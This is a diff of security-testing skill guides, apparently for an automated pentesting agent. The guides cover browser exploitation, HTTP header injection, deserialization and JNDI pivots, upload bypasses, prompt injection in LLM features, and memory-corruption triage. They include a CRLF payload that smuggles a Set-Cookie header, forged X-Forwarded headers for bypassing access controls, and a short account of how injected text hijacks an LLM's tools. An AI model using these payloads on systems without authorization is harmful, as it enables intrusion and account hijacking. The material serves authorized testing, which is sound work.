- Do not assume the same framework API behaves identically in client components, server components, and route handlers.
|
||||
|
||||
### XS-Leaks and Cross-Origin Oracles
|
||||
|
||||
Inventory observable signals that do not require reading the cross-origin response:
|
||||
|
||||
- load/error events for script, image, stylesheet, frame, media, and module elements
|
||||
- timing, connection reuse, cache state, redirect count, and navigation success
|
||||
- window/frame count, focus, history length, and resource dimensions
|
||||
- browser-generated error pages and status-dependent behavior
|
||||
- request headers such as `Sec-Fetch-Dest`, `Sec-Fetch-Mode`, and `Origin`
|
||||
|
||||
Test controls such as ORB, CORP, COEP, and MIME enforcement. A service worker or alternate fetch path can change request destination metadata and therefore change whether a blocked response becomes a network error or an empty response. Validate the oracle across authenticated and unauthenticated control cases.
|
||||
|
||||
### Service Workers and Caches
|
||||
|
||||
- Map service-worker registration scope, update lifecycle, controller acquisition, and fetch handlers.
|
||||
- Inspect Cache API keys and responses; determine whether HTML or JavaScript is served directly from a writable cache.
|
||||
- Test whether a constrained script context can poison app-managed cache entries later consumed by a normal page or service worker.
|
||||
- Treat service-worker persistence as high impact, but prove registration/control scope and update survivability.
|
||||
- Compare a direct subresource request with the same request proxied through `fetch(event.request)`; request destination and mode can differ.
|
||||
|
||||
### Web Workers and Constrained Script Execution
|
||||
|
||||
When script runs inside a worker, inventory capabilities instead of dismissing it as low impact:
|
||||
|
||||
- credentialed same-origin `fetch` for data access and state changes
|
||||
- `postMessage` gadgets into the main page
|
||||
- IndexedDB and Cache API shared with other same-origin contexts
|
||||
- Blob construction and object URLs
|
||||
- import mechanisms, WebSocket, and available browser-specific APIs
|
||||
|
||||
Prove the strongest reliable capability first. If escalation requires a user gesture, document the exact gesture, timing, browser, and visibility rather than calling it zero-click XSS.
|
||||
|
||||
### Navigation and Redirect Control
|
||||
|
||||
- Distinguish HTTP 30x, script navigation, form submission, meta refresh, and popup navigation.
|
||||
- Test invalid or blocked URL schemes and WAF-generated error pages only when they support a real flow. Oversized URLs/headers, cookie-path-specific header inflation, redirect limits, and navigation throttling are restartable-lab-only tests with strict size/iteration limits and health checks.
|
||||
- A sandbox inherited by a new top-level context can selectively block forms, scripts, popups, or navigation; enumerate the exact flag set.
|
||||
- Preserve and inspect history when a built-in error page replaces the active document; do not assume the errored URL is lost.
|
||||
|
||||
### CSP and Browser Parsing
|
||||
|
||||
- Evaluate the delivered policy on the exact response, including redirects and error/API/static paths.
|
||||
- Map nonces, hashes, `strict-dynamic`, allowed schemes, trusted script gadgets, `base-uri`, `frame-ancestors`, and Trusted Types.
|
||||
- Test parser namespaces and repairs in HTML, SVG, and MathML. A protected attribute or sanitizer rule in the HTML namespace may behave differently after namespace transitions.
|
||||
- Treat scriptless disclosure of a nonce or trusted URL as a primitive; prove a second controllable sink before claiming bypass.
|
||||
- For response splitting, consider whether a same-origin endpoint can be turned into a script resource with a controlled body length or framing.
|
||||
|
||||
### JavaScript Gadget Discovery
|
||||
|
||||
- When direct calls are blocked, inspect implicit coercions (`toString`, `valueOf`, iterators, getters, proxies) and callbacks invoked by accessible library functions.
|
||||
- Search for functions whose `this` object and arguments can be attacker-shaped.
|
||||
- Build a bounded harness to enumerate reachable globals and observe property reads/calls; avoid assuming one library gadget is universal.
|
||||
- Validate the complete call chain to a dangerous sink such as navigation, HTML insertion, `eval`, `Function`, or a privileged API.
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
### Runtime Instrumentation
|
||||
|
||||
Instrument in a controlled browser session:
|
||||
|
||||
```javascript
|
||||
const realFetch = window.fetch;
|
||||
window.fetch = (...args) => {
|
||||
const input = args[0];
|
||||
const rawUrl = typeof input === 'string' ? input : input.url;
|
||||
const url = new URL(rawUrl, location.href);
|
||||
const method = args[1]?.method || input?.method || 'GET';
|
||||
console.log('fetch', {method, origin: url.origin, path: url.pathname});
|
||||
return realFetch(...args);
|
||||
};
|
||||
|
||||
window.addEventListener('message', e => {
|
||||
const keys = e.data && typeof e.data === 'object' ? Object.keys(e.data) : [];
|
||||
console.log('message', {origin: e.origin, sourceMatches: e.source === window.opener, keys});
|
||||
}, true);
|
||||
```
|
||||
|
||||
Use the wrapper only in the controlled profile and restore `window.fetch = realFetch` afterward. Do not log bodies, message values, credentials, or query strings.
|
||||
|
||||
Also inspect DevTools network initiators, service workers, storage, CSP violations, frame tree, and navigation history. Use raw browser behavior for validation; command-line HTTP clients cannot reproduce origin/window/worker semantics.
|
||||
|
||||
### Source Review
|
||||
|
||||
- Search for `postMessage`, message listeners, `window.open`, named targets, opener/parent access, frame creation, and sandbox attributes.
|
||||
- Search for router parameter APIs flowing into `fetch`, Axios, navigation, or HTML rendering.
|
||||
- Search for service-worker registration, Cache API writes, worker constructors, Blob URLs, and dynamic imports.
|
||||
- Search for raw HTML sinks and trust escape hatches in every supported frontend framework.
|
||||
- Compare CSP and framing headers across document, API, static, callback, redirect, and error routes.
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Define the browser state** - Origin/site, context graph, policies, workers, storage, and activation.
|
||||
2. **Identify a source and observable sink** - Message, URL component, cache entry, navigation, load/error event, or implicit call.
|
||||
3. **Trace transformations** - URL parsing, framework decode, browser normalization, request destination, and document replacement.
|
||||
4. **Build paired controls** - Same-origin/cross-origin, status success/error, worker/direct, unique/predictable window name, encoded/raw path.
|
||||
5. **Prove the primitive** - Data transfer, path change, state oracle, cache modification, or context capture.
|
||||
6. **Escalate deliberately** - Chain to a privileged action, sensitive disclosure, SSRF, or executable DOM sink.
|
||||
7. **Cross-browser check** - At minimum record Chromium/Firefox/Safari applicability when the primitive is browser-specific.
|
||||
8. **State interaction requirements** - Click, drag, popup permission, timing window, login state, and visual deception.
|
||||
|
||||
## Validation
|
||||
|
||||
1. Capture the context graph and relevant policies at exploit time.
|
||||
2. Show the exact browser-parsed origin or final request URL, not just the attacker-supplied string.
|
||||
3. For postMessage, prove both message origin and source/context ownership.
|
||||
4. For XS-Leaks, repeat randomized success/failure trials and quantify separation and noise.
|
||||
5. For workers/caches, show which later context consumes the modified data.
|
||||
6. For client-side traversal, capture the final network request and the security-relevant response/action.
|
||||
7. For interaction-dependent chains, provide a screen recording or deterministic event trace.
|
||||
|
||||
## False Positives
|
||||
|
||||
- A message reaches a listener but fails schema, origin, source, or state validation before any action
|
||||
- A router decodes traversal characters but the value never reaches a URL/path sink
|
||||
- Different load/error behavior caused by unstable network rather than protected state
|
||||
- Worker script execution with no sensitive API, shared state, main-thread gadget, or meaningful action
|
||||
- CSP nonce disclosure without a controllable way to reuse it in an executable sink
|
||||
- Named-window collision blocked by origin scoping, randomized names, COOP, or `noopener`
|
||||
- Browser-specific behavior reported without the required version, flag, or user interaction
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Treat browsing-context names as attacker-contestable identifiers unless randomized.
|
||||
2. Query parameters are usually decoded automatically; path parameters vary by router and execution context.
|
||||
3. Compare request metadata, not just URLs. Service workers can alter destination/mode semantics.
|
||||
4. A strict origin check does not compensate for attacker control of the supposedly trusted window reference.
|
||||
5. Error pages, redirects, and blocked frames still mutate history and context relationships.
|
||||
6. Keep browser-version claims narrow and retest; these behaviors change faster than server-side primitives.
|
||||
7. Prefer a small state-machine explanation over a large payload catalog.
|
||||
|
||||
## Summary
|
||||
|
||||
Browser exploitation is state-machine exploitation. Map origins, context references, policies, workers, storage, navigation, and decoding as one system. Prove each state transition with browser evidence, then chain only the primitives that survive the target's browser and interaction constraints.
|
||||
@@ -5,7 +5,7 @@ description: HTTP header injection testing covering CRLF / response splitting, c
|
||||
|
||||
# HTTP Header Injection
|
||||
|
||||
Header injection turns user input into protocol-level control: response splitting, cache poisoning, session fixation, authentication bypass, and request smuggling all trace back to a server-controlled header value that wasn't normalized. The bug usually lives in middle layers — frameworks that copy a request value into a response header, proxies that trust forwarded headers, caches keyed on something the attacker influences. Treat any user-controlled value that reaches a header as code-execution-equivalent until proven otherwise.
|
||||
Header injection turns user input into protocol-level control: response splitting, cache poisoning, session fixation, authentication bypass, and downstream parser confusion can trace back to a server-controlled header value that was not normalized. The bug usually lives in middle layers — frameworks that copy a request value into a response header, proxies that trust forwarded headers, caches keyed on something the attacker influences. Impact depends on which downstream component consumes the injected field and how.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
@@ -62,7 +62,7 @@ Header injection turns user input into protocol-level control: response splittin
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### CRLF Response Splitting and Smuggling
|
||||
### CRLF Response Splitting
|
||||
|
||||
Inject `\r\n\r\n` to terminate the current response and prepend a second attacker-controlled response. Cache or downstream proxy may key on the first response and serve the second to other users.
|
||||
|
||||
@@ -70,7 +70,7 @@ Inject `\r\n\r\n` to terminate the current response and prepend a second attacke
|
||||
GET /redirect?to=foo%0d%0aSet-Cookie:%20admin=1%0d%0a%0d%0a<html>poisoned</html> HTTP/1.1
|
||||
```
|
||||
|
||||
Request smuggling is the same primitive at the request layer: inject a header that causes the proxy and backend to disagree on message framing — most commonly conflicting `Content-Length` and `Transfer-Encoding`, or two `Content-Length` headers with different values. Backend reads one request, frontend reads a different one; the leftover bytes become a smuggled request prepended to the next victim's connection.
|
||||
Request smuggling is a separate request-boundary vulnerability involving disagreement between two HTTP parsers, not simply response header injection at the request layer. Load `http_request_smuggling` when conflicting lengths, transfer coding, HTTP/2 downgrades, or connection desynchronization are in scope.
|
||||
|
||||
### Cache Poisoning
|
||||
|
||||
@@ -106,16 +106,23 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
|
||||
- `X-Forwarded-For: 127.0.0.1` to bypass IP allowlists or rate limits keyed on client IP
|
||||
- `X-Forwarded-Proto: https` to satisfy "HTTPS-only" checks while still using HTTP
|
||||
- `X-Forwarded-Host: attacker.tld` for the Host-confusion variants above
|
||||
- `X-Real-IP`, `Client-IP`, `True-Client-IP`, `CF-Connecting-IP`, `Forwarded` (RFC 7239) — same primitive, different header names; spray all of them
|
||||
- `X-Real-IP`, `Client-IP`, `True-Client-IP`, `CF-Connecting-IP`, `Forwarded` (RFC 7239) — same trust class under different conventions; select evidence-supported variants for the observed proxy/CDN stack
|
||||
- `X-Original-URL` / `X-Rewrite-URL` (IIS, ASP.NET) — server-side URL rewriting after auth check, classic admin-panel auth bypass
|
||||
|
||||
### Content-Type / Encoding Confusion
|
||||
|
||||
- Inject `Content-Type: text/html` into an endpoint that returned JSON; browsers may sniff and render → XSS
|
||||
- Inject `charset=utf-7` in `Content-Type` for legacy XSS via UTF-7-encoded payloads
|
||||
- Inject `Content-Disposition: inline` to switch a download into in-page rendering
|
||||
- Inject `Content-Encoding: gzip` without actually compressing — clients decode-fail and may reveal raw response bytes in error paths
|
||||
- *Absence* of `X-Content-Type-Options: nosniff` is what enables the sniffing attacks above; the header is a hardening control, not an attack surface — but if a server sets it inconsistently across endpoints, target the ones that don't
|
||||
- Compare MIME validators with browser parsing of duplicate or comma-joined `Content-Type` values. Record first/last valid member behavior and invalid-parameter recovery for each consumer.
|
||||
|
||||
### Internal Redirect and Handler Confusion
|
||||
|
||||
- Determine whether CGI/FastCGI/WSGI-style response headers can trigger an internal redirect instead of an external response.
|
||||
- Trace which request fields survive the redirect: content type, handler, method, authorization result, path, and environment.
|
||||
- Test whether response metadata is reused as an internal handler, proxy target, template type, or interpreter selection.
|
||||
- Compare direct access controls with the internally dispatched resource. A protected URL may be unreachable directly while the same handler is invokable through a clean internal redirect.
|
||||
- Treat CRLF injection and response-controlling SSRF as possible inputs to this chain, then validate handler selection before using a privileged handler.
|
||||
|
||||
### XSS via Response Headers
|
||||
|
||||
@@ -165,8 +172,9 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
|
||||
4. **Probe forwarding headers** — spoof `X-Forwarded-For`, `X-Real-IP`, `True-Client-IP`, `CF-Connecting-IP` against IP-restricted endpoints (admin, rate-limited)
|
||||
5. **Test cache key / response content split** — find inputs that change the body but not the cache key; confirm a second request from a different session sees the poisoned response
|
||||
6. **Test method override** — `X-HTTP-Method-Override` paired with state-changing endpoints reachable via POST or GET
|
||||
7. **Test request smuggling pairs** — conflicting `Content-Length` and `Transfer-Encoding`, two `Content-Length` headers, malformed chunked encoding, against any frontend → backend pair
|
||||
7. **Route framing discrepancies** — if evidence indicates request-boundary disagreement, switch to `http_request_smuggling`
|
||||
8. **Cross-protocol** — replay payloads over HTTP/1.1 and HTTP/2; diff behavior
|
||||
9. **Trace internal reprocessing** — where response headers can cause subrequests/internal redirects, diff retained fields and final handler selection
|
||||
|
||||
## Validation
|
||||
|
||||
@@ -174,8 +182,8 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
|
||||
2. Capture a password-reset / OAuth link pointing at attacker-controlled host — proves Host injection
|
||||
3. Demonstrate the same endpoint returning different auth decisions with and without a forged forwarding header
|
||||
4. For response splitting: show a downstream cache or proxy serving the injected second response to an unrelated request
|
||||
5. For request smuggling: show one victim request seeing data from a different request appended (not just timing or single-shot anomaly)
|
||||
6. All findings should produce a durable artifact (cached response, sent email, log entry, session change) — transient anomalies are not validation
|
||||
5. All findings should produce a durable artifact (cached response, sent email, log entry, session change) — transient anomalies are not validation
|
||||
6. For internal redirects, capture both the injected response metadata and the final internally selected route/handler
|
||||
|
||||
## False Positives
|
||||
|
||||
@@ -183,7 +191,6 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
|
||||
- `X-Forwarded-*` reflected back but only used for logging — not a security boundary, may not be exploitable
|
||||
- Browsers blocking `Location: javascript:` or `Location: data:` — capability exists in the protocol but most modern browsers refuse to navigate
|
||||
- CRLF appearing in response headers but stripped by an outer proxy before reaching any client or cache
|
||||
- Request smuggling indicators that turn out to be normal pipelining or keep-alive behavior
|
||||
|
||||
## Impact
|
||||
|
||||
@@ -192,7 +199,6 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
|
||||
- Auth bypass on endpoints trusting forwarding headers
|
||||
- Session fixation and cookie tossing leading to account hijack
|
||||
- Open redirect for phishing / OAuth `redirect_uri` abuse
|
||||
- Request smuggling — one victim's request reads another victim's response, including auth headers and cookies
|
||||
- WAF / detection bypass via header-name and encoding tricks
|
||||
|
||||
## Pro Tips
|
||||
@@ -200,7 +206,7 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
|
||||
1. The fastest win is usually Host / `X-Forwarded-Host` in a password-reset or OAuth flow — try first, costs one request
|
||||
2. For cache poisoning, find the *unkeyed* input first (header that influences body but not cache key); the rest follows
|
||||
3. `X-HTTP-Method-Override` is high-yield against backends that route on it before checking method-based auth — most useful from server-side / non-browser callers (it triggers CORS preflight in a browser, so not a CSRF primitive)
|
||||
4. Smuggling lives at the boundary — identify the proxy → backend pair (CDN → origin, ingress → service) and target the framing disagreement
|
||||
4. If a header test exposes message-boundary disagreement, switch to the dedicated request-smuggling workflow and identify the proxy → backend pair
|
||||
5. `X-Original-URL` / `X-Rewrite-URL` against IIS / ASP.NET admin endpoints is still a high-yield bypass
|
||||
6. Before claiming a CRLF win, verify the second line landed as a real header in the cache or downstream consumer — many servers strip CRLF silently
|
||||
7. Outbound email flows are a separate but related surface — user input flowing into SMTP headers (To, Cc, Subject, Reply-To) is its own injection class with the same root cause
|
||||
|
||||
@@ -10,13 +10,16 @@ Insecure deserialization passes attacker-controlled byte streams or structured b
|
||||
## Attack Surface
|
||||
|
||||
**Formats**
|
||||
- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML)
|
||||
- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML), Hessian/Burlap, Kryo
|
||||
- Python: `pickle`, `yaml.load` (unsafe), `marshal`, shelve
|
||||
- PHP: `unserialize()`, Phar deserialization
|
||||
- .NET: `BinaryFormatter`, `Json.NET TypeNameHandling`, ViewState
|
||||
- Ruby: `Marshal.load`, YAML.load
|
||||
- Node.js: `node-serialize`, `unserialize.js` (less common; see prototype_pollution for merge bugs)
|
||||
|
||||
**Transports and Containers**
|
||||
- Java RMI/JMX, HTTP/RPC endpoints, messaging protocols, queues, signed wrappers, and product-specific binary envelopes can carry one or more formats above
|
||||
|
||||
**Input Locations**
|
||||
- Cookies, session tokens, hidden form fields
|
||||
- API parameters (`data`, `state`, `object`, base64 blobs)
|
||||
@@ -58,6 +61,22 @@ yaml.load readObject( TypeNameHandling Marshal.load
|
||||
```
|
||||
When `enableDefaultTyping` or `@JsonTypeInfo` allows attacker-chosen types.
|
||||
|
||||
**JNDI Pivots from Object Construction**
|
||||
|
||||
JNDI injection is not itself a serialization format. It becomes part of this workflow when an attacker-selected type, setter, or gadget performs `Context.lookup()` during object construction or property population. `JdbcRowSetImpl` and some historical polymorphic JSON chains are examples; Log4j lookups reach JNDI through a different input path and should not be classified as deserialization.
|
||||
|
||||
- Trace fields such as `dataSourceName`, `jndiName`, and `namingURL` into the exact lookup API and provider.
|
||||
- Record the accepted schemes/provider factories (`ldap`, `ldaps`, `rmi`, DNS URL context, or application-specific naming providers). A `dns://` value is not a universal oracle; it works only when the relevant DNS provider and lookup path are present.
|
||||
- Separate network lookup, remote object/reference processing, serialized LDAP attributes, remote codebase loading, and local object-factory invocation. Each is a different capability with different runtime controls.
|
||||
- JEP 290 filters incoming Java serialization graphs; it does not disable JNDI remote codebase loading. JNDI providers gained separate remote-class-loading and serialized-data controls across JDK updates, and current JDKs disable remote code downloading by default. Record the exact JDK build and relevant provider properties instead of using a single “modern Java” rule.
|
||||
- When remote class loading is unavailable, test whether the returned reference can reach a compatible **local** `ObjectFactory`, bean-property path, expression engine, script engine, or other class already present. Confirm exact class names, versions, module access, and trigger methods from the deployed classpath.
|
||||
|
||||
**Hessian / Burlap**
|
||||
- Binary RPC formats deserialized by `HessianInput`/`Hessian2Input`. Attacker object graphs reach gadgets even though it is not native Java serialization.
|
||||
- Treat serializer version, allowed type metadata, constructors/setters invoked, collection/comparator behavior, and classpath as independent prerequisites.
|
||||
- Pair `semantic_confusion` when a proxy or route policy is expected to make the RPC endpoint unreachable.
|
||||
- Inspect the exact deployed libraries rather than relying on generic gadget labels; similar-looking Spring, Resin, Tomcat, XBean, EL, or Groovy classes are not interchangeable.
|
||||
|
||||
### Python Pickle
|
||||
|
||||
Pickle executes arbitrary code during unpickling by design:
|
||||
@@ -162,6 +181,8 @@ When `TypeNameHandling` != `None`.
|
||||
3. Check cookies named `JSESSIONID` alternatives, `.ASPXAUTH`, `laravel_session`, custom tokens
|
||||
4. In white-box, trace from `readObject`/`unserialize`/`pickle.loads` backward to source
|
||||
5. ViewState MAC off is still common on legacy ASP.NET — test early on `.aspx` apps
|
||||
6. Model JNDI lookup, reference/object processing, remote codebase loading, and local factory invocation as separate stages
|
||||
7. A "blocked" enterprise deserialization endpoint may still be reachable through a proxy/path-normalization mismatch — pair `semantic_confusion`
|
||||
|
||||
## Tooling
|
||||
|
||||
@@ -172,6 +193,7 @@ Payload generation is the practitioner's core tool here. The sandbox has `git`/`
|
||||
| **ysoserial** (frohoff) | Java native | Gadget-chain payloads: `CommonsCollections1-7`, `Groovy1`, `Spring1/2`, and `URLDNS` for a safe no-exec DNS oracle. Needs a JRE. |
|
||||
| **phpggc** (ambionics) | PHP `unserialize` / Phar | Framework POP chains (Laravel, Symfony, WordPress, Drupal, Monolog). Needs `php-cli`. |
|
||||
| **ysoserial.net** | .NET `BinaryFormatter` / Json.NET | Windows/.NET gadget payloads. Needs .NET/mono — usually out of scope in a Linux sandbox. |
|
||||
| **marshalsec** | Java Hessian/Burlap, Kryo, JSON, and JNDI reference tooling | Use only from a reviewed, pinned upstream commit when a non-native Java marshaller requires it. It has no stable release and intentionally bundles historical gadget dependencies; do not treat it as a globally installed default tool. |
|
||||
|
||||
```
|
||||
# Java: prove the sink with a no-exec DNS oracle BEFORE any RCE chain
|
||||
|
||||
@@ -67,6 +67,8 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
|
||||
|
||||
- Double extensions: avatar.jpg.php, report.pdf.html; mixed casing: .pHp, .PhAr
|
||||
- Magic-byte spoofing: valid JPEG header then embedded script; verify server uses content inspection, not extensions alone
|
||||
- Detector/consumer differential: make the upload validator and the later parser disagree about type, structure, or validity
|
||||
- Probe detector scan windows, recursion/nesting limits, maximum bytes inspected, invalid-syntax recovery, and version-specific magic databases
|
||||
|
||||
### Archive Attacks
|
||||
|
||||
@@ -120,6 +122,8 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
|
||||
- Client-side only checks; relying on JS/MIME provided by browser
|
||||
- Trusting multipart boundary part headers blindly
|
||||
- Extension allowlists without server-side content inspection
|
||||
- One parser validates metadata or leading bytes while another parser processes the full file
|
||||
- Type-detection wrappers assumed identical even when they bundle different library/database versions
|
||||
|
||||
### Evasion Tricks
|
||||
|
||||
@@ -146,8 +150,9 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
|
||||
1. **Map the pipeline** - Client → ingress → storage → processors → serving. Note where validation and auth occur
|
||||
2. **Identify allowed types** - Size limits, filename rules, storage keys, and who serves the content
|
||||
3. **Collect baselines** - Capture resulting URLs and headers for legitimate uploads
|
||||
4. **Exercise bypass families** - Extension games, MIME/content-type, magic bytes, polyglots, metadata payloads, archive structure
|
||||
5. **Validate execution** - Can uploaded content execute on server or client?
|
||||
4. **Map validators and consumers** - Identify the detector/library/version when possible and every later parser, converter, renderer, or browser context
|
||||
5. **Exercise bypass families** - Extension games, MIME/content-type, magic bytes, parser limits, polyglots, metadata payloads, archive structure
|
||||
6. **Validate execution** - Prove the accepted object reaches a more privileged consumer and can execute or render active content
|
||||
|
||||
## Validation
|
||||
|
||||
@@ -182,6 +187,7 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
|
||||
8. When you cannot get execution, aim for stored XSS or header-driven script execution
|
||||
9. Validate that CDNs honor attachment/nosniff
|
||||
10. Document full pipeline behavior per asset type
|
||||
11. Reproduce detector/consumer mismatches on the deployed library versions; OS packages and language bindings may ship different limits
|
||||
|
||||
## Summary
|
||||
|
||||
|
||||
@@ -7,6 +7,8 @@ description: Testing LLM-backed features for prompt injection, jailbreaks, syste
|
||||
|
||||
Applications that pass untrusted input into an LLM prompt are vulnerable to prompt injection: attacker-controlled text overrides developer instructions, leaks the system prompt, abuses connected tools, or exfiltrates data. Treat every LLM feature as a confused-deputy: the model has the app's privileges (tools, RAG data, API keys) but cannot reliably tell instructions from data. Impact is defined by what the model can *do*, not just what it can *say*.
|
||||
|
||||
When the system can invoke MCP servers, plugins, skills, delegated agents, or consequential tools, also load `agentic_system_security` to model effective authority, target-side authorization, executable component supply chain, and repeatable safety regression. This skill remains focused on instruction/data confusion and unsafe model output.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Direct Injection**
|
||||
|
||||
@@ -0,0 +1,228 @@
|
||||
---
|
||||
name: memory-corruption
|
||||
description: Native memory-safety analysis for stack and heap overflows, out-of-bounds access, uninitialized memory, use-after-free, integer and signedness errors, format strings, crash triage, exploitability constraints, and controlled lab validation
|
||||
---
|
||||
|
||||
# Memory Corruption
|
||||
|
||||
Use this skill for authorized analysis of native parsers, network services, firmware daemons, libraries, and mixed web/native components where attacker-controlled bytes may violate memory safety.
|
||||
|
||||
Separate three questions throughout the work:
|
||||
|
||||
1. **Bug existence:** does an input cause an invalid read, write, lifetime violation, or disclosure?
|
||||
2. **Primitive quality:** what bytes, address, length, timing, or object state can the attacker control or observe?
|
||||
3. **Exploitability:** can that primitive bypass the target architecture, mitigations, allocator, protocol, and restart constraints?
|
||||
|
||||
A crash, connection close, watchdog restart, or sanitizer report proves neither instruction-pointer control nor RCE.
|
||||
|
||||
## Lab Boundary
|
||||
|
||||
Malformed-input and crash work is denial-of-service testing. Run it only against an explicitly authorized, restartable lab target with console/process visibility, health checks, rate ceilings, and a recovery procedure. Do not fuzz production services or automatically replay crash cases.
|
||||
|
||||
Analyze hostile binaries, cores, packet captures, and corpora inside an isolated environment. Do not execute an unknown sample merely because a debugger or decompiler imported it.
|
||||
|
||||
## Vulnerability Classes
|
||||
|
||||
### Bounds and Length Errors
|
||||
|
||||
- fixed destination with attacker-controlled copy/format length
|
||||
- allocation based on one length and copy based on another
|
||||
- off-by-one termination or delimiter handling
|
||||
- nested length fields and cumulative-size overflow
|
||||
- stack/heap out-of-bounds read or write
|
||||
- negative length converted to unsigned, truncation between integer widths, or multiplication/addition overflow
|
||||
- encoded/decoded/compressed size disagreement
|
||||
|
||||
### Initialization and Termination
|
||||
|
||||
- uninitialized stack/heap data returned in a response
|
||||
- reused object/buffer retaining data from another request or tenant
|
||||
- missing NUL termination followed by string length/format operations
|
||||
- partial structure initialization with stale flags, pointers, or lengths
|
||||
- padding, union, or serialization bytes copied beyond initialized fields
|
||||
|
||||
### Lifetime and Object Confusion
|
||||
|
||||
- use-after-free, double free, stale callback, iterator invalidation
|
||||
- type/object confusion after parsing, casting, or virtual dispatch
|
||||
- reference-count races and cross-thread ownership errors
|
||||
- reallocation invalidating stored pointers
|
||||
- constructor/destructor/finalizer behavior reached in an unexpected state
|
||||
|
||||
### Format and Variadic Errors
|
||||
|
||||
- attacker-controlled format string
|
||||
- type/width mismatch in variadic arguments
|
||||
- destination-size assumptions around `sprintf`-family calls
|
||||
- logging/error paths that process attacker bytes after a partial parse
|
||||
|
||||
## Build the Input-to-Memory Model
|
||||
|
||||
Record:
|
||||
|
||||
```text
|
||||
transport field -> parser type/width -> normalized value -> allocation
|
||||
-> copy/read/format operation -> object/buffer -> later use
|
||||
```
|
||||
|
||||
For each relevant field, capture:
|
||||
|
||||
- wire offset/path, endian, encoding, signedness, and declared versus actual size
|
||||
- validation order and parser state required to reach the operation
|
||||
- allocation expression and destination capacity
|
||||
- copy/read/write expression and implicit casts
|
||||
- terminator/padding/alignment behavior
|
||||
- attacker-controlled byte alphabet and precision
|
||||
- thread, connection, session, heap, and restart lifetime
|
||||
|
||||
Trace both source-to-sink and sink-to-source. Start from changed bounds checks or crash instructions when available, but reconstruct the minimum valid protocol state that reaches them.
|
||||
|
||||
## Source-Available Workflow
|
||||
|
||||
### Compiler Instrumentation
|
||||
|
||||
Build a lab-only target or minimal harness with the compiler's maintained sanitizers when source permits:
|
||||
|
||||
```bash
|
||||
clang -g -O1 -fno-omit-frame-pointer \
|
||||
-fsanitize=address,undefined \
|
||||
harness.c parser.c -o parser-harness
|
||||
```
|
||||
|
||||
- Keep the harness local and networkless; call the narrow parser/API directly.
|
||||
- Preserve the exact compiler, flags, architecture, allocator, and dependencies.
|
||||
- AddressSanitizer changes layout and timing. Reproduce important behavior on a representative unsanitized build under a debugger before drawing exploitability conclusions.
|
||||
- UndefinedBehaviorSanitizer may report conditions that do not produce the deployed security impact; trace each report to attacker control and later use. It does not replace explicit arithmetic and cast review.
|
||||
- For ordinary uninitialized-value hypotheses, use a separate MemorySanitizer build such as `-fsanitize=memory -fsanitize-memory-track-origins=2`; it requires an instrumented dependency set and is not interchangeable with ASan.
|
||||
- For race-dependent ownership or refcount paths, use a separate ThreadSanitizer build only when concurrency is in scope; do not imply the sanitizer families compose cleanly into one representative build.
|
||||
- Add regression cases for the minimized triggering input and neighboring non-triggering controls.
|
||||
|
||||
### Static Review
|
||||
|
||||
Search around input parsing for:
|
||||
|
||||
- `memcpy`, `memmove`, `strcpy`, `strcat`, `sprintf`, `snprintf`, `scanf` families
|
||||
- manual cursor/end-pointer arithmetic and nested TLV/XML/string parsers
|
||||
- `malloc/calloc/realloc/new` size arithmetic
|
||||
- signed/unsigned conversions and narrowing casts
|
||||
- length values stored in smaller fields or reused across decoded representations
|
||||
- error cleanup, ownership transfer, callbacks, and asynchronous lifetime
|
||||
- custom allocators, pools, slabs, ring buffers, and request-buffer reuse
|
||||
|
||||
Do not report a dangerous function name without proving attacker control, reachable state, capacity mismatch, and the actual deployed implementation.
|
||||
|
||||
## Binary-Only Workflow
|
||||
|
||||
1. Identify architecture, endian, ABI, OS/libc, compiler clues, and stripped/symbol state.
|
||||
2. Record NX/DEP, ASLR/PIE, stack canaries, RELRO, CFI/PAC/CET, allocator hardening, seccomp/sandbox, privilege, and restart behavior.
|
||||
3. Anchor on imports, strings, message IDs, error paths, new checks, crash PC, or advisory-relevant constants.
|
||||
4. Trace length/copy/allocation dataflow in decompiler and assembly.
|
||||
5. Record the deployed binary identity: build ID or hash, interpreter or loader, loaded modules/base addresses, allocator, and whether the runtime executable came from base image, overlay, bind mount, or update staging.
|
||||
6. Reproduce under a debugger or emulator only when its environment matches the relevant parser and allocator behavior.
|
||||
7. Compare vulnerable and fixed functions; describe the restored invariant and inspect sibling callers.
|
||||
|
||||
Use official [Ghidra](https://github.com/NationalSecurityAgency/ghidra) for cross-architecture static analysis and [BinDiff](https://github.com/google/bindiff) for function-level version comparison after package/file diffs narrow the target. Similarity scores and decompiled C are triage aids, not proof; confirm critical conditions in assembly and runtime evidence.
|
||||
|
||||
## Crash and Disclosure Triage
|
||||
|
||||
Preserve one known-good transcript and then minimize while keeping the framing, checksums, parser state, and negotiation required to reach the vulnerable operation. Identify the first invalid access, not only the eventual crash site. Use a distinctive non-executable pattern to measure overwrite offset or disclosure position, classify whether the observed effect is read, write, non-control-data, pointer/object, or control-state influence, and then repeat the same case on a representative unsanitized build plus fixed and negative controls.
|
||||
|
||||
For each case, record:
|
||||
|
||||
- exact minimized input and protocol transcript
|
||||
- deterministic frequency and required heap/session preparation
|
||||
- signal/exception, PC, faulting instruction bytes/disassembly, fault address, access type/size, registers, stack, loaded mappings/build IDs, and relevant object memory
|
||||
- process versus worker crash, watchdog/restart, and external symptom
|
||||
- corrupted object provenance and last known-valid parser state
|
||||
- vulnerable/fixed/unaffected build behavior
|
||||
- whether the same case under debugger/sanitizer changes outcome
|
||||
|
||||
